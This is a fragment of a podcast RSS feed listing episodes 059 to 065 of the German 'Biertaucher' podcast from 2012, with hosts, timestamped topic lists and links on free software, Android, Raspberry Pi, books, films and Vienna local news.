+ <itunes:author>Horst JENS, Gregor PRIDUN und Freunde</itunes:author>
+ <itunes:explicit>No</itunes:explicit>
+ <itunes:subtitle>Gregor war in Berlin in Comics lesen und auf der Documenta in Kassel. Horst hat sich rumänische Kurzfilme angeschaut, programmiert ein rogulike game in python3 und erzählt aus „Why nations fail“. Und: wir haben einen Sponsor !</itunes:subtitle>
+ <itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/5Q7Ph
+Bitte flattern: http://flattr.com/thing/843559/Biertaucher-Podcast-Folge-065
+</itunes:summary>
+ <itunes:duration>59:31:00</itunes:duration>
+ <itunes:keywords>biertaucher, podcast, sponsor, wukonig, Supervac, flattr, paypal, guadec, gnome, unity, firefox os, chromium os, berlin, kassel, documenta, Didi und Stulle, Comicpodcast, comicladen, Espresso, Kurzfilmfestival, Rumänien, Corneliu Porumboiu</itunes:keywords>
+ </item>
+ <item>
+ <title>Biertaucher Folge 064</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:064</link>
+ <pubDate>Wed, 08 Aug 2012 10:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher064.mp3</guid>
+ <description>Horst JENS, Martin MAYR, Florian SCHWEIKERT, Harald PICHLER, Goesta SMEKAL und Marvin TAUCHNER trinken Bier und plaudern freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder und Videos gibt es in den Shownotes: http://goo.gl/uAojv bzw: http://biertaucher.at. Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/820684/Biertaucher-Podcast-Folge-064
+
+
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/uAojv">hier klicken um die Shownotes zur Folge 64</a> zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Martin MAYR</b>, <b>Florian SCHWEIKERT</b>, <b>Harald PICHLER</b>, <b>Goesta SMEKAL</b> und <b>Marvin TAUCHNER</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <atom:link rel="payment" href="https://flattr.com/submit/auto?url=https%3A%2F%2Fdevelopers.flattr.net%2F&amp;user_id=flattr" type="text/html" />
+<a href="http://flattr.com/thing/820684/Biertaucher-Podcast-Folge-064" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+
+ <li>0:00:29 Vorstellung Marvin und Goesta
+</li><li>0:01:10 <a href="http://www.nasa.gov/mission_pages/msl/index.html">Marslandung</a> Rover "Curiosity" (siehe auch Video unten)
+</li><li>0:07:21 Nachtrag zum Krautfunding (siehe <a href="063">Folge063</a> )
+</li><li>0:08:16 Buchbesprechung: <a href="http://www.amazon.de/dp/1846686105/ref=as_li_tf_til?tag=spielendprogr-21&camp=1410&creative=6378&linkCode=as1&creativeASIN=1846686105&adid=0TGBYFF2N16ASW4ZYCZ0&&ref-refURL=http%3A%2F%2Frcm-de.amazon.de%2Fe%2Fcm%3Ft%3Dspielendprogr-21%26o%3D3%26p%3D8%26l%3Das1%26asins%3D1846686105%26ref%3Dtf_til%26fc1%3D000000%26IS2%3D1%26lt1%3D_blank%26m%3Damazon%26lc1%3D0000FF%26bc1%3D000000%26bg1%3DFFFFFF%26f%3Difr">Why nations fail</a>
+</li><li>0:12:14 <a href="http://de.wikipedia.org/wiki/Organische_Solarzelle">organische Solarzellen</a>
+</li><li>0:18:11 <a href="http://news.rice.edu/2012/06/28/rice-researchers-develop-paintable-battery-2/">aufspraybarer Akkumulator</a>
+</li><li>0:21:30 Rasen am Ring (<a href="http://www.autofreiestadt.at/cms/website.php">autofreie Stadt</a>)
+</li><li>0:23:30 <a href="http://www.barcamp.at/FoodCamp_Vienna_2012">Barcamp - Foodcamp</a>
+</li><li>0:25:40 vergleichende Werbung: <a href="http://futurezone.at/b2b/10540-upc-muss-kampagne-gegen-a1-stoppen.php">UPC vs. A1</a>. Sicherheitslücke bei Thompson-Routern
+</li><li>0:30:08 <a href="http://www.spiegel.de/kultur/musik/aufruhr-um-neue-gema-tarife-und-angst-vor-clubsterben-a-846312.html">Gema im Spiegel-Online</a> <a href="http://www.heise.de/tp/blogs/6/152535">Gema-Gebühren für Zahnärzte (Telepolis)</a>
+</li><li>0:32:00 Goesta's Aquariumsteuerung mit 6lowpan
+</li><li>0:38:05 Harald's <a href="http://www.osdomotics.com/">OS-Domotics</a>: Control-X1-Steuerung
+</li><li>0:42:52 <a href="http://futurezone.at/netzpolitik/10464-superscanner-durchsucht-menschen-unbemerkt.php">Superscanner durchsucht Menschen unbemerkt</a> (ärger als Nacktscanner)
+</li><li>0:46:55 Marvin erzählt über sein Auslandsschuljahr in England
+</li>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher064.mp3" length="53284864" type="audio/mpeg"/>
+ <itunes:author>Horst JENS, Gregor PRIDUN und Freunde</itunes:author>
+ <itunes:explicit>No</itunes:explicit>
+ <itunes:subtitle>Marslandung, Aquariensteuerung per 6lowpan, aufsprühbare Batterien, organische Solarzellen, Buchvorstellung: Why nations fail, Stimme der Jugend (Marvin) berichtet über ein Jahr Aufenthalt in England u.v.m</itunes:subtitle>
+ <itunes:summary>Shownotes mit Links, Bildern, Videos etc. finden Sie hier: http://goo.gl/uAojv
+Bitte flattern: href="http://flattr.com/thing/820684/Biertaucher-Podcast-Folge-064</itunes:summary>
+ <itunes:duration>01:14:00</itunes:duration>
+ <itunes:keywords>biertaucher, podcast, Marslandung, Krautfunding, Why nations fail, Buchbesprechung, organische Solarzellen, Solarzellen, aufspraybarer Akkumulator, Batterien, Rasen am Ring, Ringstrasse, autofreie Stadt, Wien, Barcamp, Foodcamp</itunes:keywords>
+ </item>
+ <item>
+ <title>Biertaucher Folge 063</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:063</link>
+ <pubDate>Thu, 02 Aug 2012 18:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher063.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Martin MAYR, Florian SCHWEIKERT, Johnny ZWENG und als Gast Harald PICHLER trinken Bier und plaudern freie Software und andere Nerd-Themen. Mehr Information, Links und Bilder gibt es in den Shownotes: http://goo.gl/V488Q bzw: http://biertaucher.at. Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/800035/Biertaucher-Podcast-Folge-063
+
+
+
+
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/V488Q">hier klicken um die Shownotes zur Folge 63</a> zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Gregor PRIDUN</b> <b>Martin MAYR</b>, <b>Florian SCHWEIKERT</b>, <b>Harald PICHLER</b> und <b>Johnny ZWENG</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <atom:link rel="payment" href="https://flattr.com/submit/auto?url=https%3A%2F%2Fdevelopers.flattr.net%2F&amp;user_id=flattr" type="text/html" />
+<a href="http://flattr.com/thing/800035/Biertaucher-Podcast-Folge-063" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+
+ <li>00:00:20 Hausmeisterthemen
+</li><li>00:10:00 Billiges Internet in Kroatien
+</li><li>00:12:00 Haralds Buchempfehlung: <a href="http://www.krautfunding.net/">Krautfunding</a>
+</li><li>00:17:00 Martins Buchempfehlungen (und Vorlesung!): <a href="http://www.goodreads.com/book/show/236318.The_Book_of_Learning_and_Forgetting">The Book of learning and forgetting</a> und <a href="http://www.lit-verlag.de/isbn/3-8258-1622-3">Maria Montessori: Leben und Werk</a>
+</li><li>00:24:30 Rund um Android - Harald empfiehlt <a href="http://f-droid.org/">Fdroid</a>
+</li><li>00:31:00 Apple vs Samsung / Softwarepatente
+</li><li>00:37:00 Samungs Galaxy S / Custum Firmwares <a href="http://www.cyanogenmod.com/">Cyanogenmod</a>
+</li><li>00:46:00 Florian testet Zipfer Radler
+</li><li>00:49:00 <a href="http://www.demokratische-bank.at/">Demokratische Bank</a>
+</li><li>00:56:30 <a href="http://de.wikipedia.org/wiki/Raspberry_Pi">RasberryPI</a>
+</li><li>01:04:00 HBO TV Serie: <a href="http://en.wikipedia.org/wiki/The_Pacific_(TV_miniseries)">The Pacific</a> / Podcastempfehlungen
+</li><li>01:09:00 Haralds <a href="http://www.osdomotics.com/">Steckdosensteurungssysteme</a>
+</li><li>01:23:00 Richard Stallmann zum Thema <a href="http://spielendprogrammieren.wordpress.com/">unfreie Spiele und Linux</a>
+</li><li>01:27:00 Startnext Projekt: <a href="http://www.budspencermovie.com/">Bud Spencer - the movie</a>
+</li><li>01:31:00 Interview mit sara über <a href="http://en.wikipedia.org/wiki/Community-supported_agriculture">CSA - community supported Agriculture</a>
+</li>
+
+</ul>
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher063.mp3" length="77363200" type="audio/mpeg"/>
+ <itunes:author>Horst JENS, Gregor PRIDUN und Freunde</itunes:author>
+ <itunes:explicit>No</itunes:explicit>
+ <itunes:subtitle>Diesmal zu Gast ist Harald Pichler, der über seine Funksteckdosenfernsteuerung berichtet; Martin hat Sara zum Thema CSA (Cultural supported agriculture) interviewt und liest aus Büchern vor (lernen / Montessori)</itunes:subtitle>
+ <itunes:summary>Shownotes mit Links, Bildern, Videos etc. finden Sie hier: http://goo.gl/V488Q
+Bitte flattern: http://flattr.com/thing/800035/Biertaucher-Podcast-Folge-063</itunes:summary>
+ <itunes:duration>01:36:02</itunes:duration>
+ <itunes:keywords>biertaucher, podcast, internet, urlaub, kroatien, Buchempfehlung, krautfunding, montessori, fdroid, android, samsung, galaxy s, cyanogenmod, Zipfer Radler, demokratische banken, RasberryPI, The Pacific, Stallman, Computerspiele, Bud Spencer</itunes:keywords>
+ </item>
+ <item>
+ <title>Biertaucher Folge 062</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:062</link>
+ <pubDate>Wed, 25 Jul 2012 10:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher062.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN und Johnny ZWENG trinken Bier und plaudern freie Software und andere Nerd-Themen. Mehr Information, Links und Bilder gibt es in den Shownotes: http://goo.gl/kU8Ds bzw: http://biertaucher.at. Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/772933/Biertaucher-Podcast-Folge-062
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/kU8Ds">hier klicken um die Shownotes zur Folge 62</a> zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Gregor PRIDUN</b> und <b>Johnny ZWENG</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <atom:link rel="payment" href="https://flattr.com/submit/auto?url=https%3A%2F%2Fdevelopers.flattr.net%2F&amp;user_id=flattr" type="text/html" />
+<a href="http://flattr.com/thing/772933/Biertaucher-Podcast-Folge-062" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>0:00:57 Hausmeisterthemen (wir sind auf iTunes! und haben einen google+ hangout)
+</li><li>0:05:50 Report: Horst und Gregor waren auf der <a href="http://www.maconvention.info/">MACOnvention</a> (Manga, Amine, Cosplay) in Linz
+</li><li>0:09:00 Brettspiel: <a href="http://superdungeonexplore.wikia.com/wiki/Superdungeonexplore_Wiki">Super Dungeons</a>
+</li><li>0:12:33 <a href="http://developer.android.com/index.html">Android Jelly Bean</a>
+</li><li>0:18:20 Florian (zugeschaltet via google hangout) über <a href="http://de.wikipedia.org/wiki/Raspberry_Pi">Raspberry Phi</a>
+</li><li>0:22:21 <a href="https://plus.google.com/102150693225130002912/posts/Qj5WnLJXLXX">Linus Torvalds postet auf Google+</a> über Smartphone Hersteller / Android Updates
+</li><li>0:23:30 Beziehung von Apple-Kunden zur Hardware
+</li><li>0:25:00 Spracherkennung bei Adroid Jelly Bean
+</li><li>0:29:24 Florian supportet Sierra Zulu auf Kickstarter
+</li><li>0:31:40 TU Wien's Forschungsreaktor im Prater ( <a href="http://www.sciencebusters.at/sections/aktuell/posts">Science Busters</a>, <a href="http://de.wikipedia.org/wiki/Kernkraftwerk_Zwentendorf">Zwentendorf</a>, <a href="http://de.wikipedia.org/wiki/Seibersdorf_(Nieder%C3%B6sterreich)">Seibersdorf</a> )
+</li><li>0:39:39 <a href="http://de.wikipedia.org/wiki/Guerilla_Knitting">Guerilla Knitting</a>
+</li><li>0:43:53 Ubuntu-basiertes Linux: <a href="http://elementaryos.org/">Elementary OS</a> (auch: <a href="http://crunchbanglinux.org/">Cunch Bang Linux</a>)
+</li><li>0:48:30 <a href="http://www.spiegel.de/wissenschaft/mensch/open-access-eu-will-forschungsergebnisse-fuer-jeden-zugaenglich-machen-a-844973.html">Open Access bei Wissenschaftsmagazinen</a> / Universitätsmagazinen. (Spiege-Online Artikel)
+</li><li>0:53:50 Wiener Firma will Shadowrun Online-Game machen via <a href="http://www.kickstarter.com/projects/1964352341/shadowrun-online">Kickstarter</a>
+</li><li>0:54:50 <a href="http://derstandard.at/1342139626759/Shuttleworth-Ubuntu-Desktop-mittlerweile-besser-als-Apple">Mark Shuttleworth über Ubuntu</a>, Systemintegration diverser Services
+</li><li>0:58:14 Behörden geben Geld für <a href="http://derstandard.at/1342139514485/Behoerden-finanzieren-bessere-OOXML-Anbindung-in-LibreOffice">Libre Office</a> aus
+</li><li>1:02:26 Diverse Hangout Plaudereien
+</li><li>1:04:39 Oracle / Linux / OpenOffice / LibreOffice
+</li><li>1:06:25 <a href="http://de.wikipedia.org/wiki/Mad_TV">MadTV</a>
+</li><li>1:07:00 Twittern beim Fernsehen
+</li><li>1:09:00 zombiecalypse etc ( <a href="http://de.wikipedia.org/wiki/Gamification">Gamification</a> )
+</li><li>1:12:07 <a href="http://de.wikipedia.org/wiki/Geocaching">GeoCaching</a>
+</li><li>1:17:15 <a href="http://futurezone.at/netzpolitik/10228-anonymous-kapert-fpoe-webseite.php">INDECT</a> - Jeder ist verdächtig - verdächtiges Verhalten automatisiert erkennen
+</li><li>1:22:49 Video: <a href="http://www.youtube.com/watch?v=OuO-s1kugLs&feature=colike">Evolution of PC Games</a>
+</li><li>1:23:10 <a href="http://futurezone.at/netzpolitik/10213-internet-defense-league-fuer-ein-freies-netz.php">Internet Defense League</a>
+</li><li>1:25:11 Podcasts: <a href="https://manuspielt.wordpress.com/podcast/">Manu spielt</a> (täglich!) <a href="http://retinacast.de/">Retinacast</a>
+</li><li>1:28:18 Youtube: <a href="http://youtu.be/30ntglkZceo">Das Screen Team</a>. Außerdem: <a href="http://de.wikipedia.org/wiki/Literal_Video_Clip">Literal Videos</a>
+</li><li>1:32:31 OLPC (One Laptop per Child) in <a href="http://www.olpcnews.com/countries/costa_rica/an_interview_with_daniel_castro_about_olpc_in_costa_rica.html">Costa Rica</a>
+</li><li>1:35:33 Filmtipp: <a href="http://en.wikipedia.org/wiki/Nothing_(film)">Nothing (Film)</a>
+</li>
+
+
+</ul>
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher062.mp3" length="69152768" type="audio/mpeg"/>
+ <itunes:author>Horst JENS, Gregor PRIDUN und Freunde</itunes:author>
+ <itunes:explicit>No</itunes:explicit>
+ <itunes:subtitle>Report von MACOnvention in Linz (Manga, Anime), Jelly Bean für Android, Forschungsreaktor, Hangout, Internet Defense League, Filmtipps, Podcastempfehlungen u.v.m.</itunes:subtitle>
+ <itunes:summary>Shownotes mit Links, Bildern, Videos etc. finden Sie hier: http://goo.gl/kU8Ds bzw. auf http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/772933/Biertaucher-Podcast-Folge-062</itunes:summary>
+ <itunes:duration>01:36:02</itunes:duration>
+ <itunes:keywords>biertaucher, podcast, iTunes, google hangout, Maconvention, Linz, Manga, Anime, Cosplay, Brettspiel, Super Dungeons, Android, Jelly Bean, Raspberry Phi, Linus Torvalds, Spracherkennung, Sierra Zulu, Kickstarter, Forschungsreaktor</itunes:keywords>
+ </item>
+ <item>
+ <title>Biertaucher Folge 061</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:061</link>
+ <pubDate>Wed, 18 Jul 2012 23:59:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher061.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Florian SCHWEIKERT, Johnny ZWENG und Andreas PETERSSON trinken Bier und plaudern freie Software und andere Nerd-Themen. Mehr Information, Links und Bilder gibt es in den Shownotes: http://goo.gl/Yhk3T bzw: http://biertaucher.at. Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/743009/Biertaucher-Podcast-Folge-061
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/Yhk3T">hier klicken um die Shownotes zur Folge 61</a> zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Gregor PRIDUN</b> <b>Florian SCHWEIKERT</b>, <b>Johnny ZWENG</b> und Gast <b>Andreas PETERSSON</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <atom:link rel="payment" href="https://flattr.com/submit/auto?url=https%3A%2F%2Fdevelopers.flattr.net%2F&amp;user_id=flattr" type="text/html" />
+<a href="http://flattr.com/thing/743009/Biertaucher-Podcast-Folge-061" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+
+<ul>
+ <li>0:00:45 Hausmeisterthemen
+</li><li>0:01:12 Flattr
+</li><li>0:05:38 Gregor's Fernbeziehung zum kanadischen E-Reader Support
+</li><li>0:09:40 Johnny <a href="http://spielend-programmieren.at/de:podcast:biertaucher:2012:061">beschwert sich</a> über die Preisgestaltung der ÖBB
+</li><li>0:15:53 REPORTAGE: Andreas war am <a href="http://bitcoin-hackathon.com/index.php/Main_Page#Bitcoin_Hackathon.2C_Berlin_13-15_July.2C_2012">Bitcoin-Hackathon</a> in Berlin und trifft u.a. den Entwickler von <a href="https://play.google.com/store/apps/details?id=de.schildbach.oeffi&hl=de">Öffi</a>, der Verkehrsmittel-App
+</li><li>0:36:30 Lokationswechsel, währenddessen ur peinlicher Fashion-Item Talk (siehe technischer-Hinweis)
+</li><li>0:39:50 Florian über <a href="http://radlkarte.at/">Radlkarte.at</a>
+</li><li>0:44:00 Wir lästern über die Olympischen Spiele in London und damit verbundene Maßnahmen
+</li><li>0:48:30 RANT: Florian <a href="http://cygenb0ck.soup.io/post/260710294/da-k-nnten-kriminelle-energien-frei-werden">ranted über die Wiener Linien</a> (Open Goverment Date, Fahrplangeheimhaltung)
+</li><li>1:03:55 PRODUKTBESPRECHUNG Andreas hat ein <a href="http://en.wikipedia.org/wiki/Asus_Eee_Pad_Transformer_Prime">Asus Transformer Prime</a> 700 Tablet/Netbook gekauft
+</li><li>1:14:41 Horst findet <a href="http://www.kickstarter.com/projects/ouya/ouya-a-new-kind-of-video-game-console?ref=category">schöne</a> <a href="http://www.kickstarter.com/projects/460738485/legends-of-aethereus-co-op-hack-n-slash-action-gam?ref=home_spotlight">Games</a>-Projekte auf Kickstarter, <a href="https://play.google.com/store/apps/details?id=com.sixwaves.strikefleetomega&hl=de">Strikefleet Omega</a> (Android App), <a href="http://www.kickstarter.com/projects/1613260297/shadowrun-returns?ref=live">Shadowrun Game</a>. <a href="http://blogs.valvesoftware.com/linux/steamd-penguins/">Steam for Linux</a> kommt sicher (sagt Valve).
+</li><li>1:17:04 Schwachstelle: <a href="http://alexkordsblog.wordpress.com/2012/07/08/6-dinge-mit-denen-csr-racing-mich-zum-geldausgeben-zwingen-will/">Ingame-Item Kauf</a> für Ipad austricksen.
+</li><li>1:24:10 SCHÖNER LAUSCHEN: Gregors Podcastempfehlung: <a href="http://www.touchtalk.at/">Touchtalk</a> Techie-Podcast
+</li><li>1:28:00 SCHÖNER FERNSEHEN: Gregors Filmbesprechung: <a href="http://www.imdb.com/title/tt0109779/">Fatherland (1994)</a> (mit Ruthger Hauer)
+</li><li>1:37:14 Europython Videos sind online: <a href="http://t.co/z0zgeVCa">40 Gigabyte Torrent</a> und einige auf Youtube
+</li><li>1:34:13 Neues Video von <a href="http://de.wikipedia.org/wiki/Annie_Leonard">Annie Leonard</a>: <a href="http://www.storyofstuff.org/movies-all/story-of-change/">Story of Change</a>
+</li><li>1:35:35 <a href="http://www.pro-linux.de/news/1/18614/jolla-erhaelt-grossauftrag-aus-china.html">Jolla</a>, Wiederbelebung von Meego
+</li><li>1:41:44 Massenbestellung von <a href="http://de.wikipedia.org/wiki/Raspberry_Pi">Raspberry Pi</a>
+</li><li>1:43:50 <a href="http://www.spiegel.de/netzwelt/web/die-mensch-maschine-sascha-lobo-ueber-das-telemediengeheimnis-a-844782.html">Ãœberwachung</a> bei Facebook
+</li><li>1:46:27 AUFRUF: Bitte <a href="http://www.martinballuch.com/?p=1335">Balluch-Blog</a> lesen (Tierschützerprozess)
+</li><li>1:46:52 BERICHT: Martin war auf der Abschlusspräsentation vom <a href="https://metalab.at/wiki/Hackathon_8">8. Metalab Hackathon</a>
+</li>
+</ul>
+
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher061.mp3" length="86224896" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 060</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:060</link>
+ <pubDate>Wed, 11 Jul 2012 23:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher060.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN und Johnny ZWENG trinken Bier und plaudern freie Software und andere Nerd-Themen. Mehr Information, Links und Bilder gibt es in den Shownotes: http://goo.gl/kVXxV bzw: http://biertaucher.at. Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/735983/Biertaucher-Podcast-Folge-060
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/kVXxV">hier klicken um die Shownotes zur Folge 60</a> zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Gregor PRIDUN</b> und <b>Johnny ZWENG</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <atom:link rel="payment" href="https://flattr.com/submit/auto?url=https%3A%2F%2Fdevelopers.flattr.net%2F&amp;user_id=flattr" type="text/html" />
+<a href="http://flattr.com/thing/735983/Biertaucher-Podcast-Folge-060" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+siehe auch <a href="https://plus.google.com/u/0/b/115278437571900143077/115278437571900143077/posts/VkkuisQKQiW">Themensammlung auf google+</a>
+</br>
+
+<ul>
+ <li>0:50 Hausmeisterthemen
+</li><li>0:04:00 Johnny hat bei Hofer spontan ein Tablet gekauft
+</li><li>0:12:30 Horst war auf der Premiere von <a href="http://buy.indiegamethemovie.com/">Indiegame The Movie</a>
+</li><li>0:21:00 <a href="https://en.wikipedia.org/wiki/Higgs_boson">Higgs-Boson</a>-"Gottes"teilchen
+</li><li>0:26:10 <a href="https://de.wikipedia.org/wiki/MeeGo">Meego</a> <a href="http://derstandard.at/1341526838791/Jolla-Ex-Nokia-Angestellte-wollen-MeeGo-neu-beleben">wieder auferstanden</a> / <a href="http://www.zdnet.de/news/41563342/telef-nica-zeigt-prototyp-von-smartphone-mit-firefox-os.htm">Firefox OS</a> / <a href="http://derstandard.at/1341526814918/Entwicklungsstopp-E-Mail-Client-Thunderbird-wird-eingestellt">Thunderbirdentwicklung eingestellt</a>
+</li><li>0:33:00 <a href="http://www.heise.de/newsticker/meldung/AppGuard-Kontrolle-ungewollter-App-Berechtigungen-unter-Android-1632532.html">Appguard</a> eine App zum Rechte entziehen
+</li><li>9:00 Bücher befreien: <a href="https://netzpolitik.org/2012/creative-commons-crowdfunding-zeit-online-uber-unglue-it/">unglue it</a> ebookrechte / Creative-Commons Lizenezen für bibliotheken kaufen
+</li><li>0:42:00 <a href="https://en.wikipedia.org/wiki/Crossworlds">Crossworlds</a> mit <a href="https://de.wikipedia.org/wiki/Rutger_Hauer">Rutger Hauer</a> / <a href="https://en.wikipedia.org/wiki/Roughnecks:_Starship_Troopers_Chronicles">Starshiptrooper TV series</a>
+</li><li>0:46:40 <a href="https://de.wikipedia.org/wiki/Braunschlag">Braunschlag TV Serie</a> aus Österreich
+</li><li>0:49:30 EPY <a href="http://epy.co.at/eptify/">verschenkt Musik-Mixtape</a> "Eptify"
+</li><li>0:51:00 Meldung: Japan: 13jähriger verhaftet wegen Computervirus
+</li><li>0:54:00 Jimmy Wahles ruft auf zur <a href="http://www.change.org/petitions/ukhomeoffice-stop-the-extradition-of-richard-o-dwyer-to-the-usa-saverichard#">Online Petition</a> auf
+</li><li>0:58:00 Telepolis Artikel: <a href="http://www.heise.de/tp/artikel/37/37187/1.html">Peak Öl in Europa schon vorbei</a> / Zusammenhang mit Wirtschafskrisen
+</li><li>0:59:30 Göttingen Podcastcluster/ <a href="http://wikigeeks.de/">Wikigeeks</a>
+</li><li>1:02:00 Callenterinteviewteaser+Interview
+</li>
+</ul>
+
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher060.mp3" length="60262400" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 059</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:059</link>
+ <pubDate>Thu, 05 Jul 2012 23:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher059.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Martin MAYR, Florian SCHWEIKERT und Patrick trinken Bier und plaudern freie Software und andere Nerd-Themen. Mehr Information, Links und Bilder gibt es in den Shownotes: http://goo.gl/GCNUc bzw: http://biertaucher.at. Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/733856/Biertaucher-Podcast-Folge-059
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/GCNUc">hier klicken um die Shownotes zur Folge 59</a> zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Gregor PRIDUN</b>, <b>Martin MAYR</b> und <b>Florian SCHWEIKERT</b> und <b>Patrick</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <atom:link rel="payment" href="https://flattr.com/submit/auto?url=https%3A%2F%2Fdevelopers.flattr.net%2F&amp;user_id=flattr" type="text/html" />
+<a href="http://flattr.com/thing/733856/Biertaucher-Podcast-Folge-059" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+siehe auch <a href="https://plus.google.com/u/0/b/115278437571900143077/115278437571900143077/posts/hRLbbJLE8kh">Themensammlung auf google+</a>
+</br>
+
+<ul>
+
+ <li><b>00:40</b> Hausmeisterthemen
+</li><li><b>07:59</b> <a href="http://goo.gl/GCNUc">Google IO</a>
+</li><li><b>21:30</b> zu Gast: Patrick stellt sich vor
+</li><li><b>30:00</b> <a href="http://www.martinballuch.com/">Martin Balluch</a>, Agrarmarkt-Austria Kinowerbung und arme Schweine
+</li><li><b>43:30</b> UPC unfairer Tarifvergleich
+</li><li><b>46:00</b> <a href="http://superfav.com/">Superfav</a> und <a href="http://flattr.com">Flattr</a>
+</li><li><b>54:00</b> <a href="http://en.wikipedia.org/wiki/Kobo_eReader">Kobo eReader</a> ist zurück + pdf reflow + Thalias neue <a href="http://en.wikipedia.org/wiki/Cybook_Opus">Ereader Cybook</a>
+</li><li><b>01:00:00</b> <a href="http://en.wikipedia.org/wiki/Ftp">ftp</a>
+</li><li><b>01:05:00</b> <a href="https://ep2012.europython.eu/p3/live/">Europhyton Konferenz</a>
+</li><li><b>01:11:00</b> Web Serie: <a href="http://www.rocketjump.com/?video=vghs-episode-1">Videogame Highschool</a>
+</li><li><b>01:13:33</b> <a href="http://en.wikipedia.org/wiki/The_Yes_Men">The Yes Men</a>
+</li><li><b>01:15:27</b> Film: <a href="http://en.wikipedia.org/wiki/Flesh_%26_Blood_(film)">Flesh&Blood</a>
+</li><li><b>01:18:50</b> <a href="http://oe1.orf.at/programm/306233">Radiocolleg</a> über Einkaufgenossenschaften
+</li><li><b>02:19:55</b> Epic fail: <a href="http://youtu.be/g032MPrSjFA">It's a girl thing</a> Forschungsvideo
+</li><li><b>01:21:00</b> <a href="http://pythongamebook.wordpress.com/2012/07/02/the-sound-of-bitcoins/Bitcoins</a> für <a href="http://ThePythonGameBook.com">ThePythonGameBook</a>
